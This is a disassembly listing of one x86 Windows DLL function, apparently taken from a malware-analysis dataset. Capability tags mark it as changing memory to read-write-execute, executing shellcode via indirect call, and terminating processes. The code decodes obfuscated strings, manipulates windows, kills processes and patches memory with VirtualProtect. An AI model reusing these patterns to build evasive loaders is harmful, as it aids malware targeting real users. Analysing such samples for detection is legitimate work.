Function at 0x10007780
Capabilities:
Allocate or change rwx memory
Check if file exists
Execute shellcode via indirect call
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x100256e0
push eax
mov dword fs:[0], esp
sub esp, 0x54c
sub dword [ebp + 0xc], 1
push ebx
push esi
push edi
jne 0x10007b22
mov edx, 0x9c
xor eax, eax
mov cl, byte [eax + 0x1002eb6c]
xor cl, dl
inc edx
mov byte [ebp + eax - 0x28], cl
and edx, 0x800000ff
jns 0x100077cf
dec edx
or edx, 0xffffff00
inc edx
inc eax
cmp eax, 0xd
jl 0x100077b2
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea eax, [ebp - 0x28]
push eax
mov byte [ebp - 0x1b], 0
call ebx
test eax, eax
je 0x100078b9
mov edi, 0x1002eb6c
lea ecx, [ebp - 0x28]
sub edi, 0x4b243a18
push edi
call fcn.10008160
push 0x53229ad4
lea ecx, [ebp - 0x54]
mov esi, eax
call fcn.100080d0
push esi
mov esi, dword [sym.imp.USER32.dll_FindWindowA]
push eax
call esi
test eax, eax
sete al
test al, al
je 0x10007874
push 0x53229ad4
lea ecx, [ebp - 0x1a]
call fcn.100080d0
push 0
push eax
call esi
xorps xmm0, xmm0
mov dword [ebp - 0x12], 0
push edi
lea ecx, [ebp - 0x37]
movq qword [ebp - 0x1a], xmm0
mov esi, eax
mov word [ebp - 0xe], 0
call fcn.10008160
push eax
push esi
call dword [sym.imp.USER32.dll_SetWindowTextA]
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.10007590
mov eax, 0x1002ebd0
lea ecx, [ebp - 0x44]
sub eax, 0x6d777541
push eax
call fcn.100081a0
mov ecx, eax
call fcn.10005eb0
push 0x8f650231
lea ecx, [ebp - 0x44]
call fcn.100081e0
mov ecx, eax
call fcn.10005f30
sub esp, 0x10
push 0x65800
push 0x1011c748
call fcn.100025d0
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x24]
push 0x44a388ec
mov dword [0x10183188], eax
call fcn.10008220
push eax
call ebx
add eax, 0x444
mov dword [0x101832bc], eax
cmp byte [eax], 0
jne 0x10007b22
lea eax, [ebp - 0x158]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov eax, 0x1002ec14
lea ecx, [ebp - 0x24]
sub eax, 0x31848322
push eax
call fcn.100082a0
lea ecx, [ebp - 0x158]
push ecx
push eax
mov eax, ecx
push eax
call fcn.10004e90
add esp, 0xc
lea eax, [ebp - 0x158]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x10007932
call fcn.10006d30
push 0x104
lea eax, [ebp - 0x158]
push 0
push eax
call fcn.1000c4b0
mov edi, dword [0x101832bc]
lea eax, [ebp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
add esp, 0xc
push eax
push 0x40
push 1
push edi
call esi
mov al, byte [0x1002ec20]
mov byte [edi], al
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0xc]
push 1
push edi
call esi
push 0
call fcn.10012aab
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x50]
push eax
mov dword [ebp - 0x4c], edx
call fcn.10012d77
add esp, 8
mov ecx, 0x1002ea70
sub ecx, 0x51ce6ce2
mov esi, eax
push ecx
lea ecx, [ebp - 0x13]
call fcn.10007fc0
mov ecx, dword [esi + 0x14]
add ecx, 0x76c
push ecx
mov ecx, dword [esi + 0x10]
inc ecx
push ecx
push dword [esi + 0xc]
push eax
push 0x101831b8
call fcn.10004e90
push ecx
mov ecx, esp
push 0x101831b8
call fcn.100029c0
lea ecx, [ebp - 0x44]
call fcn.10005810
mov ecx, esp
mov word [ebp + 0xd], 0x7325
mov byte [ebp + 0xf], 0
movups xmm0, xmmword [eax]
movups xmmword [ecx], xmm0
movq xmm0, qword [eax + 0x10]
lea eax, [ebp + 0xd]
push eax
push 0x101831b8
movq qword [ecx + 0x10], xmm0
call fcn.10004e90
add esp, 0x20
lea ecx, [ebp - 0x44]
xor eax, eax
mov word [ebp + 0xd], ax
mov byte [ebp + 0xf], al
call fcn.10002900
mov esi, 0x1002ec24
lea ecx, [ebp - 0x12]
sub esi, 0x4a745b64
push esi
call fcn.10008320
push eax
lea ecx, [ebp - 0x44]
mov dword [ebp - 4], 0
call fcn.100029c0
mov byte [ebp - 4], 1
push ecx
lea ecx, [ebp - 0x44]
call fcn.10005cb0
add esp, 4
lea ecx, [ebp - 0x44]
call fcn.10002900
lea ecx, [ebp - 0x558]
mov dword [ebp - 4], 0xffffffff
call fcn.10005930
push esi
lea ecx, [ebp - 0x12]
call fcn.10008320
push ecx
lea ecx, [ebp + 0xc]
push ecx
push eax
lea ecx, [ebp - 0x558]
call fcn.10005aa0
push esi
lea ecx, [ebp - 0x12]
call fcn.10008320
push eax
call fcn.1001026f
push 0x104
push 0
push 0x101831b8
call fcn.1000c4b0
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 0x11]
push esi
push eax
push 0x101832c0
mov dword [ebp - 0x11], 0x58383025
mov byte [ebp - 0xd], 0
call fcn.10004e90
add esp, 0x1c
lea ecx, [ebp - 0x23]
mov eax, 0x1002ec2c
sub eax, 0x53eb68ea
push eax
call fcn.10008370
push esi
push eax
push 0x101831b8
call fcn.10004e90
add esp, 0xc
mov byte [ebp - 0x1b], 0
xorps xmm0, xmm0
movq qword [ebp - 0x23], xmm0
push 0x101831b8
call ebx
test eax, eax
je 0x10007b0e
sub esp, 0x14
call fcn.10005b80
push 0xe9a00
push 0
push 0x10032d48
call fcn.1000c4b0
add esp, 0x20
push 0x104
push 0
push 0x101831b8
call fcn.1000c4b0
add esp, 0xc
mov ecx, dword [ebp - 0xc]
mov eax, 1
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 0xc